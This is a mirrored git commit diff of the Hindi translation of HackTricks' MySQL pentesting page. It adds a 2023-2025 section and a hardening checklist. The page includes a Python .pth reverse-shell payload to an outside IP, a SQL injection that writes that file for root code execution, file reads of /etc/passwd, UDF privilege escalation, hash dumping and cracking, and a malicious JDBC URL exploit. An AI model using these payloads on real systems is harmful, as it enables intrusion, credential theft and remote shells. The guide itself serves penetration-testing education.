mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-mysql.md'] to hi
This commit is contained in:
		
							parent
							
								
									d7546f4509
								
							
						
					
					
						commit
						2229ffcd15
					
				| @ -34,7 +34,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds | |||||||
| msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds | msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds | ||||||
| msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds | msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds | ||||||
| ``` | ``` | ||||||
| ### [**ब्रूट फोर्स**](../generic-hacking/brute-force.md#mysql) | ### [**Brute force**](../generic-hacking/brute-force.md#mysql) | ||||||
| 
 | 
 | ||||||
| ### कोई भी बाइनरी डेटा लिखें | ### कोई भी बाइनरी डेटा लिखें | ||||||
| ```bash | ```bash | ||||||
| @ -111,26 +111,26 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT | |||||||
| 
 | 
 | ||||||
| #### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक) | #### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक) | ||||||
| 
 | 
 | ||||||
| क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करके यह संभव है कि लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं। | क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करते हुए, यह संभव है कि उन लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं। | ||||||
| 
 | 
 | ||||||
| 1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)। | 1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)। | ||||||
| 2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है उसके बाद मनमाना Python कोड होता है जो हर बार इंटरप्रेटर शुरू होने पर निष्पादित होगा। | 2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है, इसके बाद मनमाना Python कोड होता है जिसे हर बार इंटरप्रेटर शुरू होने पर निष्पादित किया जाएगा। | ||||||
| 3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)। | 3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड को वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित किया जाता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)। | ||||||
| 
 | 
 | ||||||
| उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है): | उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता है, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है): | ||||||
| ```python | ```python | ||||||
| import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) | import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) | ||||||
| ``` | ``` | ||||||
| एक **UNION** क्वेरी के माध्यम से फ़ाइल तैयार करने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना): | एक **UNION** क्वेरी के माध्यम से फ़ाइल बनाने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना): | ||||||
| ```sql | ```sql | ||||||
| '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' | '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' | ||||||
| ``` | ``` | ||||||
| महत्वपूर्ण सीमाएँ और बायपास: | महत्वपूर्ण सीमाएँ और बायपास: | ||||||
| 
 | 
 | ||||||
| * `INTO OUTFILE` **मौजूदा** फ़ाइलों को **ओवरराइट** नहीं कर सकता; एक नया फ़ाइल नाम चुनें। | * `INTO OUTFILE` **मौजूदा फ़ाइलों को अधिलेखित** नहीं कर सकता; एक नया फ़ाइल नाम चुनें। | ||||||
| * फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रीफिक्स करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है। | * फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रारंभ करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है। | ||||||
| * यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें। | * यदि हमलावर इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें। | ||||||
| * क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **रूट** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है। | * क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **root** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है। | ||||||
| 
 | 
 | ||||||
| `.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है: | `.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है: | ||||||
| ``` | ``` | ||||||
| @ -146,14 +146,14 @@ uid=0(root) gid=0(root) groups=0(root) | |||||||
| ``` | ``` | ||||||
| --- | --- | ||||||
| 
 | 
 | ||||||
| ## MySQL मनमाने पढ़ने की फ़ाइल द्वारा क्लाइंट | ## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना | ||||||
| 
 | 
 | ||||||
| वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\ | वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\ | ||||||
| कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है: | कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है: | ||||||
| ```bash | ```bash | ||||||
| load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; | load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; | ||||||
| ``` | ``` | ||||||
| (ध्यान दें "local" शब्द)\ | (शब्द "local" पर ध्यान दें)\ | ||||||
| क्योंकि "local" के बिना आप प्राप्त कर सकते हैं: | क्योंकि "local" के बिना आप प्राप्त कर सकते हैं: | ||||||
| ```bash | ```bash | ||||||
| mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; | mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; | ||||||
| @ -172,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti | |||||||
| 
 | 
 | ||||||
| ### Mysql User | ### Mysql User | ||||||
| 
 | 
 | ||||||
| यह बहुत दिलचस्प होगा अगर mysql **root** के रूप में चल रहा है: | यह बहुत दिलचस्प होगा यदि mysql **root** के रूप में चल रहा है: | ||||||
| ```bash | ```bash | ||||||
| cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" | cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" | ||||||
| systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 | systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 | ||||||
| @ -184,7 +184,7 @@ MySQL सेवाओं की कॉन्फ़िगरेशन में, | |||||||
| - **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी। | - **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी। | ||||||
| - **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है। | - **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है। | ||||||
| - **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है। | - **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है। | ||||||
| - **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है। | - **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है। | ||||||
| - **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है। | - **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है। | ||||||
| - **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके। | - **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके। | ||||||
| 
 | 
 | ||||||
| @ -206,18 +206,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys | |||||||
| # Get a shell (with your permissions, usefull for sudo/suid privesc) | # Get a shell (with your permissions, usefull for sudo/suid privesc) | ||||||
| \! sh | \! sh | ||||||
| ``` | ``` | ||||||
| ### विशेषाधिकार वृद्धि पुस्तकालय के माध्यम से | ### Privilege Escalation via library | ||||||
| 
 | 
 | ||||||
| यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **पुस्तकालय** की आवश्यकता होगी जो mysql चला रहा है। | यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है। | ||||||
| 
 | 
 | ||||||
| उपयोग करने के लिए दुर्भावनापूर्ण पुस्तकालय sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाया जा सकता है। **`.so`** फ़ाइलें **linux** पुस्तकालय हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए। | उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए। | ||||||
| 
 | 
 | ||||||
| यदि आपके पास वे पुस्तकालय **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**: | यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**: | ||||||
| ```bash | ```bash | ||||||
| gcc -g -c raptor_udf2.c | gcc -g -c raptor_udf2.c | ||||||
| gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc | gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc | ||||||
| ``` | ``` | ||||||
| अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (रूट?) के रूप में लॉगिन करें और अगले चरणों का पालन करें: | अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें: | ||||||
| 
 | 
 | ||||||
| #### Linux | #### Linux | ||||||
| ```sql | ```sql | ||||||
| @ -259,9 +259,9 @@ cat /etc/mysql/debian.cnf | |||||||
| ``` | ``` | ||||||
| आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**। | आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**। | ||||||
| 
 | 
 | ||||||
| फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैश** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं। | फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं। | ||||||
| 
 | 
 | ||||||
| आप इन्हें निकालने के लिए कर सकते हैं: | आप इन्हें निकाल सकते हैं: | ||||||
| ```bash | ```bash | ||||||
| grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" | grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" | ||||||
| ``` | ``` | ||||||
| @ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion | |||||||
| Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' | Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' | ||||||
| 
 | 
 | ||||||
| ``` | ``` | ||||||
|  | ## 2023-2025 Highlights (नया) | ||||||
|  | 
 | ||||||
|  | ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) | ||||||
|  | Connector/J <= 8.0.32 से एक हमलावर जो **JDBC URL** को प्रभावित कर सकता है (उदाहरण के लिए, तीसरे पक्ष के सॉफ़्टवेयर में जो कनेक्शन स्ट्रिंग के लिए पूछता है) वह `propertiesTransform` पैरामीटर के माध्यम से *क्लाइंट* पक्ष पर मनचाहे क्लास को लोड करने के लिए अनुरोध कर सकता है। यदि क्लास-पाथ पर मौजूद एक गैजेट लोड करने योग्य है, तो इसका परिणाम **JDBC क्लाइंट के संदर्भ में दूरस्थ कोड निष्पादन** में होता है (पूर्व-प्रमाणित, क्योंकि कोई मान्य क्रेडेंशियल की आवश्यकता नहीं होती)। एक न्यूनतम PoC इस तरह दिखता है: | ||||||
|  | ```java | ||||||
|  | jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil | ||||||
|  | ``` | ||||||
|  | `Evil.class` चलाना कमजोर एप्लिकेशन के क्लास-पाथ पर इसे उत्पन्न करने या एक धोखेबाज़ MySQL सर्वर को एक दुर्भावनापूर्ण सीरियलाइज्ड ऑब्जेक्ट भेजने देना उतना ही आसान हो सकता है। यह समस्या Connector/J 8.0.33 में ठीक की गई थी - ड्राइवर को अपडेट करें या `propertiesTransform` को स्पष्ट रूप से अनुमति सूची पर सेट करें।   | ||||||
|  | (विवरण के लिए Snyk लेख देखें) | ||||||
|  | 
 | ||||||
|  | ### JDBC क्लाइंट्स के खिलाफ धोखेबाज़ / नकली MySQL सर्वर हमले   | ||||||
|  | कई ओपन-सोर्स टूल्स *आंशिक* MySQL प्रोटोकॉल को लागू करते हैं ताकि वे बाहर कनेक्ट करने वाले JDBC क्लाइंट्स पर हमला कर सकें: | ||||||
|  | 
 | ||||||
|  | * **mysql-fake-server** (Java, फ़ाइल पढ़ने और डीसिरियलाइजेशन हमलों का समर्थन करता है)   | ||||||
|  | * **rogue_mysql_server** (Python, समान क्षमताएँ) | ||||||
|  | 
 | ||||||
|  | विशिष्ट हमले के रास्ते: | ||||||
|  | 
 | ||||||
|  | 1. पीड़ित एप्लिकेशन `allowLoadLocalInfile=true` या `autoDeserialize=true` के साथ `mysql-connector-j` लोड करता है।   | ||||||
|  | 2. हमलावर DNS / होस्ट प्रविष्टि को नियंत्रित करता है ताकि DB का होस्टनेम उनके नियंत्रण में मशीन पर हल हो सके।   | ||||||
|  | 3. दुर्भावनापूर्ण सर्वर तैयार किए गए पैकेट के साथ प्रतिक्रिया करता है जो या तो `LOCAL INFILE` मनमाने फ़ाइल पढ़ने या Java डीसिरियलाइजेशन → RCE को ट्रिगर करता है।   | ||||||
|  | 
 | ||||||
|  | नकली सर्वर शुरू करने के लिए एक उदाहरण वन-लाइनर (Java): | ||||||
|  | ```bash | ||||||
|  | java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server | ||||||
|  | ``` | ||||||
|  | फिर पीड़ित एप्लिकेशन को `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` पर इंगित करें और फ़ाइल नाम को *username* फ़ील्ड में base64 के रूप में एन्कोड करके `/etc/passwd` पढ़ें (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)। | ||||||
|  | 
 | ||||||
|  | ### `caching_sha2_password` हैश को क्रैक करना | ||||||
|  | MySQL ≥ 8.0 पासवर्ड हैश को **`$mysql-sha2$`** (SHA-256) के रूप में स्टोर करता है। Hashcat (मोड **21100**) और John-the-Ripper (`--format=mysql-sha2`) 2023 से ऑफ़लाइन क्रैकिंग का समर्थन करते हैं। `authentication_string` कॉलम को डंप करें और इसे सीधे फीड करें: | ||||||
|  | ```bash | ||||||
|  | # extract hashes | ||||||
|  | echo "$mysql-sha2$AABBCC…" > hashes.txt | ||||||
|  | # Hashcat | ||||||
|  | hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist | ||||||
|  | # John the Ripper | ||||||
|  | john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist | ||||||
|  | ``` | ||||||
|  | ### हार्डनिंग चेकलिस्ट (2025) | ||||||
|  | • **`LOCAL_INFILE=0`** और **`--secure-file-priv=/var/empty`** सेट करें ताकि अधिकांश फ़ाइल-पढ़ने/लिखने की प्राइमिटिव्स को समाप्त किया जा सके।   | ||||||
|  | • एप्लिकेशन खातों से **`FILE`** विशेषाधिकार हटा दें।   | ||||||
|  | • Connector/J पर `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (खाली) सेट करें।   | ||||||
|  | • अप्रयुक्त प्रमाणीकरण प्लगइन्स को अक्षम करें और **TLS की आवश्यकता करें** (`require_secure_transport = ON`)।   | ||||||
|  | • `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` और अचानक `SET GLOBAL` बयानों की निगरानी करें।   | ||||||
|  | 
 | ||||||
|  | --- | ||||||
|  | 
 | ||||||
| ## संदर्भ | ## संदर्भ | ||||||
|  | - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)   | ||||||
|  | - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)   | ||||||
|  | - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)   | ||||||
|  | 
 | ||||||
| - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)   | - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)   | ||||||
| 
 | 
 | ||||||
| {{#include ../banners/hacktricks-training.md}} | {{#include ../banners/hacktricks-training.md}} | ||||||
|  | |||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user